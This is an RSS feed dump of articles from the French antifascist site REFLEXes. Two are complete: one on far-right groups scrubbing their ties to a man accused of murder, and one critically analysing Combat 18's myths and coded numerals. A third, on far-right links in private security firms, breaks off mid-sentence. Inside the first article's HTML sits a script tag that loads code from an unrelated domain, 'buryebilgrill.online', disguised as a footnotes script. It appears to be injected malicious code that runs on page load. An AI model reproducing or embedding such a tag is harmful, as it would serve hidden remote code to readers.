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	<title>REFLEXes &#187; Maxime Brunerie</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Affaire Leclercq : le syndrôme Brunerie&#8230;</title>
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		<pubDate>Wed, 24 Jun 2009 16:22:29 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[Bloc Identitaire (BI)]]></category>
		<category><![CDATA[Identitaires]]></category>
		<category><![CDATA[Laurent Leclercq]]></category>
		<category><![CDATA[Maxime Brunerie]]></category>
		<category><![CDATA[Nouvelle Droite Populaire (NDP)]]></category>
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				<content:encoded><![CDATA[<p>Quand à l&rsquo;occasion d&rsquo;un fait divers dont ils ne sont pas responsables, les identitaires montrent comment ils soignent leur réputation médiatique&#8230;Les identitaires nous ont habitué à rechercher l&rsquo;exposition médiatique par tous les moyens mais il semble que celle-ci ne soit pas forcément toujours la bienvenue lorsqu&rsquo;elle permet d&rsquo;apercevoir ces mouvements sous un jour qui ne leur convient pas.</p>
<p>En témoigne un fait divers survenu dans la nuit de samedi à dimanche dernier dans la Sarthe. La bannière Terre &amp; Peuple d&rsquo;Ile-de-France y organisait en effet son solstice d&rsquo;été sous la houlette de Laurent Leclercq, militant identitaire sur Dreux. Il semble qu&rsquo;une altercation ait éclaté entre l&rsquo;organisateur et de jeunes participants et que Laurent Leclercq, sans doute humilié par l&rsquo;un d&rsquo;entre eux, soit parti chercher un couteau de chasse et soit revenu poignarder le fautif qui est mort sur le coup. Cette altercation ne nous surprend guère tant ce type de « fête » supposée identitaire est généralement l&rsquo;occasion de se défouler pour les participants, qui en profitent pour s&rsquo;enivrer et communier dans la nostalgie nazie. Le coup de sang de Laurent Leclercq ne vient donc que mener ce type de manifestation à son aboutissement tant le rassemblement de sociopathes peut difficilement donner autre chose.</p>
<p>Plus intéressante est la façon dont les différents milieux identitaires ont entrepris de gérer l&rsquo;affaire. Laurent Leclercq, sans être une personnalité de premier plan, était en effet un militant actif sur Dreux et présentait un profil assez classique de cadre d&rsquo;extrême droite. Militant au FN jusqu&rsquo;à la scission de décembre 1998, il s&rsquo;était embarqué dans l&rsquo;aventure du MNR et les avanies du mouvement mégretiste l&rsquo;avait amené avec 4 autres militants de Dreux à quitter le parti et a transformé leur groupe municipal en groupe indépendant, « Dreux-Identité ». À partir de 2007, Leclercq s&rsquo;était nettement rapproché du Bloc Identitaire qui l&rsquo;avait annoncé participant à la Convention de Beaune de novembre 2007 et l&rsquo;année 2008 avait vu sa participation à des réunions du Bloc, en particulier l&rsquo;université de rentrée de septembre dans l&rsquo;Eure qu&rsquo;il commentait ainsi : « <em>La semaine en Normandie a rassemblé plus de 100 personnes sur trois jours lors de réunions de cohésion et d&rsquo;ateliers pratiques sur les actions réalisées sur le terrain et à venir. Un grand merci à Jorgi, Dominique, Philippe ainsi qu&rsquo;aux adhérents de SDF, aux JI&#8230;sans oublier Fabrice Robert et Philippe Vardon qui vient d&rsquo;être condamné à Nice à 50 000 € d&rsquo;amende pour un tract distribué sur le thème de l&rsquo;islamisation de notre société, mobilisez vous pour l&rsquo;aidez financièrement. Dominique Venner et Jean Yves Le Gallou, respectivement historien pour le premier et ancien élu d&rsquo;île de France pour le second ont animé les débats une longue soirée de veillée cloturée par le Dr Merlin s&rsquo;en est suivie..</em> ».<br />
Cette participation faisait suite au soutien que Fabrice Robert lui avait apporté en mars 2008 dans le cadre des <a href="http://reflexes.samizdat.net/quelques-reflexions-sur-les-elections-municipales-2008/">élections municipales</a>, sous la forme d&rsquo;une conférence de presse et d&rsquo;une tournée des marchés de Dreux, ce qui ne lui avait guère profité puisque la liste de Leclercq n&rsquo;avait récolté que 355 voix, soit 4,30% des suffrages<sup><a href="https://reflexes.samizdat.net/affaire-leclercq-le-syndrome-brunerie/#footnote_0_443" id="identifier_0_443" class="footnote-link footnote-identifier-link" title="Cette liste avait d&rsquo;ailleurs fait l&rsquo;objet d&rsquo;une pol&eacute;mique, certains colistiers de Leclercq d&eacute;non&ccedil;ant leur pr&eacute;sence sur la liste et l&rsquo;accusant de les avoir abus&eacute;. Nous ne savons pas si le versant judiciaire de cette pol&eacute;mique avait abouti &agrave; une condamnation ou si les plaintes avaient &eacute;t&eacute; class&eacute;es.">1</a></sup>.<br />
Il avait alors attribué ce score décevant aux manœuvres du FN :<br />
« <em>Trahis par les &laquo;&nbsp;nôtres&nbsp;&raquo;&#8230;<br />
Depuis mars 2008, il n&rsquo;y a plus d&rsquo;élus &laquo;&nbsp;nationaux&nbsp;&raquo; sur Dreux et Vernouillet, hélas !<br />
Les tentatives de rapprochement des élus de Dreux Identité Française avec les élus FN de la région centre et anciens conseillers municipaux de Dreux à l&rsquo;époque de Madame Stirbois se sont soldés par des échecs !</em></p>
<p>Jacques Dautrême a en effet, à chaque fois torpillé toute tentative de liste commune en relatant auprès des &laquo;&nbsp;journaleux&nbsp;&raquo; locaux ses &laquo;&nbsp;plans&nbsp;&raquo; contre les élus identitaires, toujours coupables selon lui d&rsquo;avoir été au MNR et d&rsquo;avoir tenus des propos trop virils, voire racistes (sic) contre Gérard Hamel, qui vomissait le FN et Marie France autant que le MNR et les élus Dreux Identité Française, issus des rangs Frontistes et Mégretistes.</p>
<p>Une plainte ayant même été déposée contre Laurent Leclercq, tête de liste identitaire en pleine campagne pour de prétendus appels anonymes alors que Dautrême venait d&rsquo;être exclu du FN, ne se faisant pas que des amis dans son propre camp !</p>
<p>Aujourd&rsquo;hui, cet individu pense se &laquo;&nbsp;recaser&nbsp;&raquo; en reniant complètement son parcours politique, parlant d&rsquo;adhérer à l&rsquo;UNICEF, qui l&rsquo;a rejeté entre temps, à cause de son passé frontiste ou de mener le combat contre Dieudonné qui selon lui, a trop touché (70 000 €) de Le Pen, ce qui a fait renoncer Dautrême à reverser une partie de ses revenus de conseiller régional au Front, pour essayer de rejoindre Carl Lang prochainement&#8230; grand bien lui fasse, on verra la réaction de l&rsquo;interessé !</p>
<p>Il y a quelques années, des journaleux vérolés, prédisaient à la télévision que le FN s&rsquo;autodétruirait tôt ou tard, grâce à des individus tout aussi pourris que &laquo;&nbsp;l&rsquo;élu médiocre&nbsp;&raquo; qu&rsquo;il est à la Région Centre, dixit ses colistiers, et atteints du sida mental qu&rsquo;injecte le système, y compris aux nôtres, nos ennemis ont de beaux jours devant eux et nombreux seront ceux parmi nous que nous laisserons sur le bord de la route&#8230; préférant trahir, qui pour se nourrir, qui par vengeance comme à Orange ou tout simplement las mais ce n&rsquo;est pas un argument, de nos échecs électoraux depuis trente ans&#8230; à bon entendeur&#8230;</p>
<p>&laquo;&nbsp;Laurent Leclercq ancien conseiller municipal de Dreux&nbsp;&raquo;</p>
<p>Parallèlement Leclercq s&rsquo;était investi dans la mise sur pied de la Nouvelle Droite Populaire (NDP) lancée par Roland Hélie et Robert Spieler en juin 2008 à partir de la revue<em> Synthèse Nationale</em>.</p>
<div id="attachment_1354" style="width: 610px" class="wp-caption aligncenter"><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/06/laurent_leclerc_arnaud_raffard_de_brienne-7345e.jpg"><img class="wp-image-1354" src="http://reflexes.samizdat.net/wp-content/uploads/2009/06/laurent_leclerc_arnaud_raffard_de_brienne-7345e.jpg" alt="laurent_leclerc_arnaud_raffard_de_brienne-7345e" width="600" height="450" /></a><p class="wp-caption-text">Laurent et Arnaud Raffard de Brienne</p></div>
<p>Il semble d&rsquo;ailleurs que Leclercq ait opté pour cette structure plutôt que pour le Bloc puisqu&rsquo;il participait il y a encore une semaine au conseil national de la NDP à Paris. Or ce n&rsquo;est un secret pour personne que le Bloc Identitaire n&rsquo;est pas foncièrement en bons termes avec la NDP considérée comme un ramassis de nostalgiques et de « loosers », tous justes bons à déconsidérer l&rsquo;étiquette « identitaire ». L&rsquo;engagement &#8211; ancien &#8211; à <a href="http://reflexes.samizdat.net/terre-peuple-quand-les-gaulois-sont-dans-la-peine/">Terre &amp; Peuple</a> venait compléter le tableau, Pierre Vial étant par ailleurs en bons termes avec les responsables de la NDP.</p>
<p>Malgré cet engagement somme toute non négligeable, il est devenu impossible depuis aujourd&rsquo;hui de trouver la moindre allusion aux relations que pouvaient entretenir le Bloc Identitaire ou la NDP avec Leclercq puisque ces deux mouvements ont effacé toute trace de ces contacts sur leurs sites Internet respectifs. Sans doute très embêtés de voir leurs noms associés à celui d&rsquo;un meurtrier, les dirigeants de ces structures politiques ont donc utilisé une pratique que Georges Orwell décrivait dans <em>1984</em> et qu&rsquo;il attribuait à Big Brother à partir de l&rsquo;expérience soviétique : l&rsquo;effacement et la modification des archives&#8230;<br />
Ce qui n&rsquo;est qu&rsquo;un fait divers aura donc permis de constater que les identitaires dans leur très grande variété se retrouvent au moins sur un point : leur désir incommensurable de respectabilité. Le syndrome Brunerie a donc encore frappé&#8230;</p>
<ol class="footnotes"><li id="footnote_0_443" class="footnote">Cette liste avait d&rsquo;ailleurs fait l&rsquo;objet d&rsquo;une polémique, certains colistiers de Leclercq dénonçant leur présence sur la liste et l&rsquo;accusant de les avoir abusé. Nous ne savons pas si le versant judiciaire de cette polémique avait abouti à une condamnation ou si les plaintes avaient été classées.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>En Walhalla des héros</title>
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		<pubDate>Tue, 04 Oct 2005 12:03:25 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[Blood & Honour (BH)]]></category>
		<category><![CDATA[Combat 18 (C18)]]></category>
		<category><![CDATA[Grande-Bretagne]]></category>
		<category><![CDATA[Maxime Brunerie]]></category>
		<category><![CDATA[Rock Against Communism (RAC)]]></category>
		<category><![CDATA[Skrewdriver]]></category>

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		<description><![CDATA[Dans le genre NS mytho, il est difficile de faire mieux que Combat 18. L&#8217;ensemble de l&#8217;argumentation de ce groupe néo-nazi repose, en effet, sur la construction de mythes et de légendes. Des leaders post-mortem En effet, Combat 18 ne valorise pas son chef mais les “héros et martyrs” de la lutte, tant est si [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Dans le genre NS mytho, il est difficile de faire mieux que Combat 18. L&rsquo;ensemble de l&rsquo;argumentation de ce groupe néo-nazi repose, en effet, sur la construction de mythes et de légendes.</p>
<p>Des leaders post-mortem<br />
En effet, Combat 18 ne valorise pas son chef mais les “héros et martyrs” de la lutte, tant est si bien que le mouvement donne l&rsquo;impression de n&rsquo;avoir que des leaders post mortem.<br />
Bien entendu, le leader incontesté de Combat 18 est le Führer lui-même. Hitler est le Dieu, Mein Kampf, la Bible. Cependant, si le dictateur nazi est une référence politique pour C18, c&rsquo;est également une référence humaine mythifiée, C18 allant même jusqu&rsquo;à vanter les talents de peintre du Führer (que l&rsquo;on compare à ceux d&rsquo;un peintre Juif autrichien de l&rsquo;époque).<br />
Second dans la lignée des Héros, Ian Stuart Donaldson était le chanteur du groupe Skrewdriver, un groupe de Rock Against Communism (RAC). Il a été membre du National Front avant de s&rsquo;en éloigner pour créer la revue Blood and Honour. Il est mort d&rsquo;un accident de voiture en 1993 et fait l&rsquo;objet d&rsquo;un véritable culte dans le milieu national-socialiste anglais mais aussi européen. Combat 18 contredit d&rsquo;ailleurs la thèse de l&rsquo;accident : selon eux, il a été assassiné par l&rsquo;Etat car il constituait un trop grand danger pour le système. Ce point est loin d&rsquo;être anecdotique, car cela lui permet d&rsquo;accéder au rang des “ morts pour la cause ”, de construire le mythe du héros, héros dont le mouvement a besoin pour s&rsquo;incarner. Pourtant le héros n&rsquo;a pas fait grand chose à part chanter.<br />
Si ces deux personnages, mythifiés, ont le statut de Héros, d&rsquo;autres se trouvent aussi valorisés mais ne sont que des martyrs. Un hommage est ainsi rendu à Marcel Schift, qui dirigeait NS Records et participait à la branche scandinave de Blood and Honour (B&amp;H). Ceci dit le véritable martyr est Chris Castle, militant de C18, tué par Charlie Sargent, un ancien leader du mouvement. Les circonstances de la mort importent peu, il s&rsquo;agit de mettre en valeur leurs “ états de service ”, car il est important de montrer qu&rsquo;ils ne sont pas morts pour rien, qu&rsquo;ils étaient de “ bons soldats ”. Chris Castle, qui a été tué en raison de sa proximité avec Will Browning, le principal rival de Charlie Sargent, devient ainsi une victime de ZOG, l&rsquo;ennemi juré du groupe. Il faut bien maintenir la cohésion du groupe et donner des repères à ces jeunes en déshérance.<br />
La “ Cause ”, le “ Combat ” perd donc son contenu réel pour s&rsquo;incarner dans des êtres mythiques : Combat Adolf Hitler et tout est dit. On y associe une vague idée de “ guerre des races ” et de “ supériorité de la race aryenne ” et le tour est joué, ne reste que l&rsquo;image. L&rsquo;icône remplace les idées.</p>
<p>Images et mythes<br />
L&rsquo;ensemble de l&rsquo;affichage extérieur de C18 met, en effet, en oeuvre une logique de représentation de la violence et du nazisme. Sur la page d&rsquo;entrée du site internet se succèdent avec des variantes selon les dates, des hommes masqués et armés sur fond de croix celtique, un homme levant une arme devant une croix gammée dans une ambiance flamboyante, une jeune femme blonde armée d&rsquo;une mitraillette, et bien sûr la photo d&rsquo;Adolf Hitler entourée de croix gammées. Swatikas, têtes de mort (logo de C18, qui reprend le symbole de la SS Totenkopfverbande ), armes et soldats en armures, symboles runiques (la “ Three Sevens Swatika ” de B&amp;H, la croix celtique) et le poing blanc levé font partis du folklore obligé. Quant aux morts, on les accueille à Walhalla, la cité d&rsquo;Odin où les héros se retrouvent pour festoyer et faire la guerre. On entre ainsi dans un monde mythique, mélange de références celtiques, nationales-socialistes, odinistes et “ aryanistes ”, un univers dans lequel le militant se conçoit comme un soldat de la “ race blanche ”, un combattant de l&rsquo;ombre qui doit être prêt à subir l&rsquo;isolement et l&rsquo;incompréhension de tous, de ceux qui sont incapables de voir la vérité: il doit être prêt à tout quitter comme le souligne le “Manuel de Combat” qu&rsquo;ils proposent .<br />
Mais si l&rsquo;on parle de jeu sur l&rsquo;image, c&rsquo;est aussi que C18 n&rsquo;a pas, à proprement parler, de programme politique. En effet, l&rsquo;ensemble des objectifs du groupe se résume à l&rsquo;instauration d&rsquo;un régime national-socialiste et au combat contre ZOG. En d&rsquo;autre terme, C18 est engagé dans une logique de combat révolutionnaire et terroriste, dans lequel la “ Cause ” devient un référent mythique, plus qu&rsquo;un réel projet. Le programme de Combat 18 est la guerre et la destruction de l&rsquo;ordre existant. Tout est fait pour amener au passage à l&rsquo;acte “le guerrier national-socialiste”, l&rsquo;acte qui fera de lui un héros. L&rsquo;absence de programme doit être vue comme une conséquence de la posture des militants de Combat 18 : ce sont des résistants à l&rsquo;ordre actuel, avec ses martyrs, qui donnent une dimension quasi-religieuse à leur combat, la question d&rsquo;un programme politique réaliste n&rsquo;est donc pas à l&rsquo;ordre du jour.<br />
Le discours de Combat 18 comprend en cela les caractéristiques du fanatisme : simplification, certitude, personnalisation, refus des autres systèmes idéologiques. La tautologie tient lieu de définition : “Le National Socialisme est l&rsquo;idéologie des mouvements Nationalistes Révolutionnaires que Blood &amp; Honour représente. Il ne peut y avoir ni doute ni discussion à ce sujet. Pourquoi? Parce que c&rsquo;est la seule idéologie qui non seulement reflète les éternelles lois de la Nature et nos intérêts en particulier, mais aussi contient la force énergétique nécessaire pour amener ses partisans au mieux à la victoire, au moins à un combat honorable. Le National Socialisme n&rsquo;est pas seulement le Bien, c&rsquo;est surtout la seule alternative qui n&rsquo;est pas vouée à l&rsquo;échec.” Ce n&rsquo;est pas tant le contenu du national-socialisme qui est important mais sa nature. Le combat se conçoit, en effet, dans une dimension millénariste. Il ne sert dès lors plus à rien de définir le but du combat car il est nécessaire et inévitable.</p>
<p>Lutte armée : mythe et réalité<br />
Plus encore qu&rsquo;être violent, l&rsquo;important est d&rsquo;être perçu comme tel, de faire peur. Le groupe joue véritablement la carte de l&rsquo;image et en ce sens, on peut considérer que sa stratégie est un succès. Cependant, en dehors des bastons de hooligans et de sorties de pub, du passage à tabac d&rsquo;antifascistes et de quelques agressions envers des immigrés, on ne trouve pas grand chose. Certes, ce type d&rsquo;actes n&rsquo;est pas à minimiser, mais on attend quand même autre chose d&rsquo;un groupe qui se dit terroriste à l&rsquo;échelle mondiale. Une partie du groupe, sous l&rsquo;influence de Will Browning, avait décidé de passer un cran au-dessus et de faire ce dont ils avaient toujours parlé, commencer à détruire le système, pour que puisse émerger le national-socialisme. En 1997, ils ont donc décidé de lancer une campagne de colis piégé depuis le Danemark. Cependant, la campagne de terreur a été arrêtée avant qu&rsquo;elle ne commence par les policiers danois, alors qu&rsquo;ils faisaient des essais d&rsquo;explosifs dans un cimetière. Ce qui devait être le début de la guerre fut donc un échec. Elle a même coûté plus au groupe qu&rsquo;elle n&rsquo;a rapporté, coût financier pour la préparation mais aussi coût en terme de soutien, car cette campagne n&rsquo;était voulue que par une petite minorité et elle a suscité de nombreuses critiques à l&rsquo;extrême droite. Ainsi, on peut citer les commentaires de Georges Hawthorne (dirigeant du label Resistance records, l&rsquo;un des plus grands labels de White Noise, concurrent direct de ISD Records, le label de Will Browning, membre de C18) : “ C18 se considère comme des sortes de “terroristes”, et se comporte exactement comme dans un navet d&rsquo;Hollywood avec le mouvement White Power. Le seul problème est que les “terroristes” qui aime à raconter combien ils sont “terribles” ne font jamais ce qu&rsquo;ils promettent.” D&rsquo;ailleurs, beaucoup ont quitté C18 suite à cet épisode, d&rsquo;autant qu&rsquo;au même moment, Charlie Sargent assassinait Chris Castle. Les chefs de C18 se sont donc retrouvés en prison et Darren Wells, qui faisait partie du petit groupe de Browning est passé à l&rsquo;ennemi (il a commencé à donner des informations à Searchlight), tout en prenant la tête de C18. Le groupe s&rsquo;est donc retrouvé affaibli, mais il a continué à beaucoup parler autour d&rsquo;une bière, ne rien faire en attendant que des allumés passent à la pratique.</p>
<p>The “ Leaderless Resistance ”, nouvelle forme d&rsquo;activisme<br />
Le concept de “ leaderless resistance ” a, en fait, été développé par le colonel Ulius Louis Amos, un agent des services secrets américains, en avril 1962. Ses théories sur l&rsquo;organisation concernaient à l&rsquo;origine la menace communiste qu&rsquo;il considérait pouvoir venir de partout. L&rsquo;idée a, ensuite, été reprise et popularisée par Louis Beam, un militant racialiste américain, qui expose son idée dans The Seditionist en 1992. L&rsquo;idée est de casser l&rsquo;organisation hiérarchique des mouvements et de favoriser les actes individuels. Un moyen particulièrement efficace pour une organisation, qui se veut terroriste, car elle-même ne risque rien, elle capitalise sur les actes des autres. Le site de C18 consacre à cet effet de nombreuses pages à expliquer comment être un bon militant, et même un bon terroriste, dans son chapitre appelé The National Socialist Political Soldiers Handbook. On y recense des conseils pour se maintenir en forme, à côté des moyens de “ ZOG ” pour surveiller le monde, des méthodes d&rsquo;enquête de police ainsi que des conseils de base aux futurs terroristes (par exemple, ne pas rester pour regarder une explosion, car certains sont morts de cette façon). Le “ guerrier politique ” est encore une fois à l&rsquo;honneur.<br />
La mise en valeur de la “ leaderless resistance ” est consécutive à l&rsquo;“ affaire Brunerie ”. Quel rapport entre ce membre d&rsquo;Unité Radicale, qui a cherché à tirer sur Jacques Chirac et C18 ? Aucun lien réel, effectivement, mais un lien virtuel. Combat 18 s&rsquo;est ainsi réapproprié l&rsquo;acte de sieur Maxime Brunerie qui avait écrit sur leur forum : “ Regardez la télé dimanche, je serais la star&#8230; Mort à zog,88! ”. Le 15 juillet, on pouvait lire en ouverture du site: “À tous les leaders européens et leurs collaborateurs qui cherchent à faire passer C18 pour un groupe de racistes sans cervelle, nous espérons que les événements du 14 juillet 2002 leur rappelleront que C18 et ses sympathisants veulent et sont capables d&rsquo;agir dans tous les pays d&rsquo;Europe.” Ainsi, C18 exploite l&rsquo;acte avorté de Maxime Brunerie comme un acte du mouvement. Voilà comment ils ont cherché à transformer un acte isolé, d&rsquo;amateur en acte international de guerre, une bataille contre ZOG. Maxime Brunerie voulait être un héros de la “ race blanche ”, le site de C18 lui en a donné la possibilité et peu importe que l&rsquo;acte ait échoué.<br />
Ce n&rsquo;était d&rsquo;ailleurs pas la première fois que C18 utilisait un acte individuel pour se faire de la publicité. Ainsi, en 1998, David Copeland organisait une campagne de plasticage dans les quartiers noirs de Londres . Or, si le jeune homme entretenait des relations avec le BNP, aucune relation n&rsquo;a pu être trouvé avec C18. Le premier a condamné les actes, les seconds ont approuvé et même revendiqué la campagne. Enfin, la “leaderless resistance” est le concept qui guide l&rsquo;opération Redwatch. Il s&rsquo;agit en fait de mettre en ligne nom, adresse, photos des ennemis à abattre. Rien de mieux pour attirer quelques fondus près à en découdre.</p>
<p>Alors C18 des mythos? Darren Wells revenant sur son passé et notamment les lettres piégées, explique “ tout n&rsquo;était que fantaisie, mais nous avons commencé à vivre dans notre propre monde irréel ”.<br />
En résumé : comment devenir un “bon à rien”<br />
1 &#8211; se faire tatouer des swatikas sur le corps, parler en “codes secrets” et boire de la bière en fantasmant sur la guerre des races<br />
2 &#8211; taper sur ses ennemis (en racontant qu&rsquo;ils sont dirigés par ZOG)<br />
3 &#8211; faire sauter des explosifs dans un cimetière<br />
4 &#8211; essayer de tirer sur un président<br />
5 &#8211; se faire tirer dessus par un copain (qui était en fait un agent de ZOG)<br />
6 &#8211; chanter en faisant des Zieg et mourir jeune dans un accident (qui est en fait un grand complot de ZOG)<br />
7 &#8211; être l&rsquo;Unique, Adolf Hitler</p>
<p>Encadré<br />
Les chiffres et les lettres<br />
Petit glossaire des codes secrets (non exhautif) à l&rsquo;usage du mytho</p>
<p>5 : pour 5 mots : I have nothing to say. (je n&rsquo;ai rien à déclarer, en particulier utilisé face à la police)<br />
311 : pour 3&#215;11, trois fois la onzième lettre de l&rsquo;alphabet. KKK &#8230; ça ne vous dit rien.<br />
33 : devinez, c&rsquo;est aussi 3&#215;11, le Ku Klux Klan.<br />
83 : pour la 8eme lettre de l&rsquo;alphabet H et la 3eme, C : Heil Christ ! Ah ça, vous ne vous y attendiez pas!<br />
4/20 : l&rsquo;anniversaire du Maitre, le seul, l&rsquo;unique, Le Führer Adolf Hitler.<br />
23 : la 23eme lettre de l&rsquo;alphabet, W pour White<br />
100% : 100% Aryen.<br />
Et bien sûr, les classiques, beaucoup plus répandus :<br />
18 : 1ere et 8eme lettre de l&rsquo;alphabet : Adolf Hitler<br />
88 : sur le même principe, Heil Hitler !<br />
14 : pour les 14 mots de David Lane, raciste notoire, notamment condamné pour avoir dynamité une synagogue : “ We must secure the existence of our people and a future for white children. ” (Nous devons sécuriser l&rsquo;existence de notre peuple et le future des enfants blancs.)</p>
<p>Rahowa : Racist Holy War (Guerre sainte raciste)<br />
SWP : Supreme White Power<br />
CI : Christian Identity (Identité Chrétienne)<br />
DOC : Disciple of Christ<br />
ORION : Our Race is Our Nation. (Notre race est notre nation)<br />
KIGY : Klansman, I Greet You. (Homme du Klan, je te salue !)<br />
WPWW : White Power World Wide<br />
ZOG : le grand classique forgé par William Pierce, auteur du célèbre Turner Diaries et ancien membre du parti nazi américain ; Zionist Occupation Government (Gouvernement sioniste d&rsquo;occupation), “L&rsquo; ennemi”.</p>
<p>Note de lecture :<br />
White Riot. The violent story of Combat 18. Nick Lowles. Milo Books, 2001, 338 p.<br />
Le livre relate l&rsquo;histoire de Combat 18 de sa naissance en tant que service d&rsquo;ordre du British National Party, jusqu&rsquo;aux coulisses des émeutes de 2001. Très bien documenté, le livre regorge d&rsquo;anecdotes et dresse un tableau clair de la mouvance néo-nazie à travers les réseaux internationaux de Blood &amp; Honour et le White Noise. Il permet d&rsquo;en finir avec les mythes sur C18. Seul inconvénient : il n&rsquo;est pas traduit et n&rsquo;est quasiment disponible qu&rsquo;en Angleterre.</p>
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		<title>Pitt Bull &amp; Bill le vigile</title>
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		<pubDate>Fri, 08 Apr 2005 09:59:45 +0000</pubDate>
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				<content:encoded><![CDATA[<p><strong>Travailler sur les boîtes de sécurité et sur leurs liens avec les milieux extrémistes de droite pourrait s&rsquo;apparenter à étudier un animal sauvage dans son milieu naturel. Si les deux ne se confondent pas, l&rsquo;un ne va malgré tout pas sans l&rsquo;autre. Or il n&rsquo;est jamais négatif de jeter un œil sur un milieu qui apprécie traditionnellement l&rsquo;opacité. Pour autant, pas question de prétendre à l&rsquo;exhaustivité ! Cet article ne vise qu&rsquo;à jeter un aperçu que nous aurons l&rsquo;occasion d&rsquo;approfondir dans d&rsquo;autres articles ultérieurement.</strong> Le milieu de la sécurité privée explose et ce constat est devenu une banalité depuis quelques années. Encore faut-il s&rsquo;entendre sur la définition de cette notion de « sécurité privée ». On peut envelopper par ce terme toutes les activités de sécurisation assurées par des agents économiques ne dépendant pas de l&rsquo;autorité publique mais pouvant travailler pour elle. C&rsquo;est ainsi que de plus en plus de missions de surveillance et de protection de sites militaires sont confiées à des entreprises privées ayant obtenu une habilitation défense. Cette croissance peut sans doute s&rsquo;expliquer de façon multiple. Il y a d&rsquo;une part l&rsquo;évidente montée du sentiment d&rsquo;insécurité, que celui-ci soit justifié ou non, et le fait que le taux de non-élucidation des délits par la force publique demeure très élevé. Cela encourage les particuliers ou les entreprises à tenter de prévenir ou décourager le délit plutôt qu&rsquo;à espérer le punir. Il y a d&rsquo;autre part la complexification de la demande de sécurité à laquelle la force publique ne peut répondre au risque de voir exploser ses capacités budgétaires. Enfin il y a bien évidemment le rôle joué par certains milieux qui ont investi le rôle « d&rsquo;experts » et qui soufflent sur les braises pour mieux en tirer parti, trouvant souvent une oreille complaisante auprès des autorités politiques. Cette explosion se traduit d&rsquo;abord dans les effectifs qui en l&rsquo;espace d&rsquo;une quinzaine d&rsquo;années ont connu une progression impressionnante. En 1989, on comptait 1640 entreprises déclarées en préfecture employant 57 649 personnes. En 1997, le nombre d&rsquo;entreprises était passé à 4131 pour 78 475 employés. Cette progression s&rsquo;est poursuivie jusqu&rsquo;à présent avec un nombre d&rsquo;entreprises dépassant vraisemblablement les 5000 et des effectifs qui, toutes activités confondues, dépassent les 300 000. Simplement les tâches se sont diversifiées à un point tel qu&rsquo;il devient difficile d&rsquo;associer dans un même secteur des entreprises se consacrant à des missions aussi diverses que le contrôle d&rsquo;accès et la télésurveillance, la sécurité incendie, le gardiennage et la surveillance, la protection mécanique, l&rsquo;audit, le conseil et les ingénieries&#8230; Tous ces secteurs ne connaissent d&rsquo;ailleurs pas la même évolution, les services de surveillance classique (gardiennage, convoyage) étant globalement stagnants alors que les missions d&rsquo;audit sont en pleine explosion. Cette transformation de la profession s&rsquo;accompagne d&rsquo;une restructuration au niveau des entreprises car les petites sociétés connaissent une situation économique de plus en plus précaire du fait de leur positionnement sur le créneau qui subit la concurrence la plus vive : celui du gardiennage et de la surveillance. Depuis le début des années 1990, on observe donc une nette tendance à la concentration, avec des faillites, des acquisitions et des fusions. C&rsquo;est donc un secteur qui se porte bien mais dans lequel les différences de situation économique sont énormes. L&rsquo;État n&rsquo;a guère été pressé d&rsquo;encadrer ce secteur économique qui est pourtant, pour des raisons évidentes, bien plus sensible que n&rsquo;importe quel autre. Il a ainsi fallu attendre le texte de loi de 1983 complété par deux décrets d&rsquo;application de 1986 pour que le cadre légal soit clairement posé, même s&rsquo;il laisse des zones d&rsquo;ombre. Par ailleurs les dernières initiatives de Nicolas Sarkosy sont allées dans le sens d&rsquo;une extension des attributions et prérogatives des sociétés de sécurité. Pour faire court, disons que toutes les sociétés de sécurité doivent être immatriculées et recevoir un agrément préfectoral leur donnant le droit d&rsquo;exercer les métiers relatifs à ce secteur. Par ailleurs les préfets doivent établir tous les trois ans un rapport sur les sociétés de leur département, rapports qui alimentent un état national de cette profession et les Renseignements Généraux sont chargés de s&rsquo;intéresser à ce milieu.</p>
<h3>TERREAU FERTILE</h3>
<p>C&rsquo;est d&rsquo;ailleurs cet intérêt de nos goupils nationaux qui nous vaut parfois quelques fuites dans la presse sur le gan grenage de ce milieu professionnel par les mouvements nationalistes. Non pas que les RG ne s&rsquo;intéressent qu&rsquo;à ça : ils prennent en compte toutes les boîtes dont les dirigeants ont des activités ou des accointances politiques. Ainsi dans un rapport de décembre 1988, la DCRG recensait une centaine de sociétés ayant des liens avec les milieux politiques. Plus d&rsquo;un quart était lié au RPR et un autre quart aux milieux libéraux. On trouvait parmi les dirigeants certains acteurs politiques de l&rsquo;époque comme feu Yvon Briant, PDG de France Protection Services et ancien vice-président du groupe parlementaire FN en 1986-1987. Cependant le véritable intérêt de ce rapport provenait surtout des 41 sociétés ciblées comme entretenant des liens avec les milieux extrémistes. Pour les RG, leur dangerosité résultait de « <em>la conjonction d&rsquo;une force armée et d&rsquo;un état d&rsquo;esprit constituant un terreau fertile pour des actions violentes</em> ». Sur ces 41 entreprises, 13 étaient proches du FN, 20 de mouvements violents : ex-SAC, ex-OAS, Troisième Voie (Sécurité Artois, dirigée par Philippe Robitaille, militant de TV et ancien du PFN, déjà condamné pour coups et blessures volontaires), PFN<sup><a href="https://reflexes.samizdat.net/pitt-bull-bill-le-vigile/#footnote_0_235" id="identifier_0_235" class="footnote-link footnote-identifier-link" title="Parti des Forces Nouvelles, parti ayant succ&eacute;d&eacute; &agrave; Ordre Nouveau en 1974 et concurrent du FN.">1</a></sup> , divers groupuscules. Les 8 autres se répartissaient entre autonomisme corse (6) et supposée extrême gauche (2) puisque dans ce dernier cas le militantisme de leurs dirigeants remontait aux années 1970 (Gauche Prolétarienne et Ligue Communiste !). Parmi ces 33 entreprises d&rsquo;extrême droite, on retrouvait des noms ayant défrayé la chronique à la fin des années 1970 et début des années 1980, tel Century ou KO International. Ces sociétés étaient en général très proches de l&rsquo;ex-SAC et s&rsquo;étaient fait connaître pour des actions violentes contre des grèves ou occupation d&rsquo;usines : le rapporteur reconnaissait cependant que le nombre des sociétés proches de l&rsquo;extrême droite pouvait être sous-évalué car en dehors de manifestations extérieures des options politiques, « <em>celles-ci restent inconnues. Ainsi, délicat au niveau des responsables, le dénombrement des employés professant des opinions extrémistes 